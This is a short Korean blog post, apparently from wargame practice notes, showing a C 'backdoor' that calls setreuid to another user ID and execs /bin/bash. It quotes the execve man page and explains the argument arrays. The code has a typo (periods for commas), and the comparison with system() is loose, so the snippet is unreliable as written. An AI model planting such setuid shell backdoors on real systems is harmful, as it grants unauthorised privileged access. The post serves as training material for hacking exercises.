- backdoor 만들기
지금까지 많은 backdoor를 만들어 왔지만 지금 C언어로 작성하는 구문은 정말 많이 사용하므로 외워두는 것이 좋다.
|
int main() { char *cmd[2]; cmd[0]="/bin/bash"; cmd[1]=(void *)0; setreuid(3004,3004); execve(cmd[0]. cmd. cmd[1]); } |
|
# man execve
|
NAME execve - execute program SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]); DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined |
|
> 결국 execve 는 system과 같이 /bin/bash를 실행 시켜주는 역할을 하는데 execve는 환경 변수를 추가로 지정할 수 있습니다.
> 여기서 환경변수가 0으로 초기화된 cmd[1]로 설정 되어있기 때문에 지금 이 코드는 system을 쓰는 것과 다름이 없다.
> 인자로 전달된 배열은 NULL(\0)로 저장해야 마지막임을 알아차리고 인자를 받지 않는다. 때문에 cmd[1]을 반드시 초기화 해야 한다.
'Security > 리버싱' 카테고리의 다른 글
Level5 문제해결 (0) | 2017.11.29 |
---|---|
Level4 문제해결 (0) | 2017.11.29 |
Level3 문제 해결 (0) | 2017.11.28 |
Level2 문제 분석/응용 (0) | 2017.11.28 |
Level2 문제 해결 (0) | 2017.11.28 |